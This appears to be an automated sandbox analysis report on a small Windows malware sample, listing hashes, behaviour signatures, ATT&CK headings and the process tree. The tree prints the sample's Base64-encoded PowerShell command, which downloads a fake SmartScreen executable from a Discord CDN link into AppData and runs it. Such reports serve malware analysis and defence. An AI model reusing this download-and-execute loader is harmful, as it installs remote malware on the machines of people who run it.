fac5d98032b75f647d81a2e6ba452be1ffe03ea4293641db6d1bc68d7c23a3ad

Analysis

max time kernel
84s
max time network
87s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
25-12-2022 10:32

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General

Target

SecuriteInfo.com.Variant.Marsilia.2083.9036.16697.exe
Size

5KB
MD5

76a7ebc14b56ff57b127630fa4d10df4
SHA1

b8641767f98da027ded8472ee43a7fa01e4855fb
SHA256

fac5d98032b75f647d81a2e6ba452be1ffe03ea4293641db6d1bc68d7c23a3ad
SHA512

818750af409f30426c26b8e5c5e8ef25faa13486bad738619d85c72bf09c2e2943efde13764e0a28d8cab5dda0ed5cbad3afbe66d01bb7e58d3d23f455243aa7
SSDEEP

96:y879lZCFmOKd4Xthbvk+I0AY0sxvk+Iz8Bv8d3ojGrl:yK9loFZKdmfvkTYJvkZW8d7

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1724	powershell.exe
6	1724	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1724	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1724	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1784 wrote to memory of 1724	1784	SecuriteInfo.com.Variant.Marsilia.2083.9036.16697.exe	28
PID 1784 wrote to memory of 1724	1784	SecuriteInfo.com.Variant.Marsilia.2083.9036.16697.exe	28
PID 1784 wrote to memory of 1724	1784	SecuriteInfo.com.Variant.Marsilia.2083.9036.16697.exe	28

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Marsilia.2083.9036.16697.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Marsilia.2083.9036.16697.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAcgBkACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA3ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA1ADYAMAA0ADYANQA0ADQANAA2ADIAMgAzADMANwAwAC8AMQAwADUANQA2ADAANAA5ADYAMQA5ADYAOAAzADkANAAzADEAMQAvAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFMAbQBhAHIAdAB0AFMAYwByAGUAZQBuAC4AZQB4AGUAJwAsACAAPAAjAGEAYQBuACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAegBzAGUAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZgBqAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANgAuAGUAeABlACcAKQApADwAIwB3AHQAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AHgAeAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZABjAHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANgAuAGUAeABlACcAKQA8ACMAcgBrAHQAIwA+AA=="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1724-58-0x000007FEF40A0000-0x000007FEF4AC3000-memory.dmp

Filesize
10.1MB

Download
memory/1724-59-0x000007FEF3540000-0x000007FEF409D000-memory.dmp

Filesize
11.4MB

Download
memory/1724-60-0x0000000002320000-0x00000000023A0000-memory.dmp

Filesize
512KB

Download
memory/1724-61-0x0000000002320000-0x00000000023A0000-memory.dmp

Filesize
512KB

Download
memory/1724-62-0x0000000002320000-0x00000000023A0000-memory.dmp

Filesize
512KB

Download
memory/1724-63-0x0000000002320000-0x00000000023A0000-memory.dmp

Filesize
512KB

Download
memory/1784-54-0x0000000000A80000-0x0000000000A88000-memory.dmp

Filesize
32KB

Download
memory/1784-55-0x000007FEFC421000-0x000007FEFC423000-memory.dmp

Filesize
8KB

Download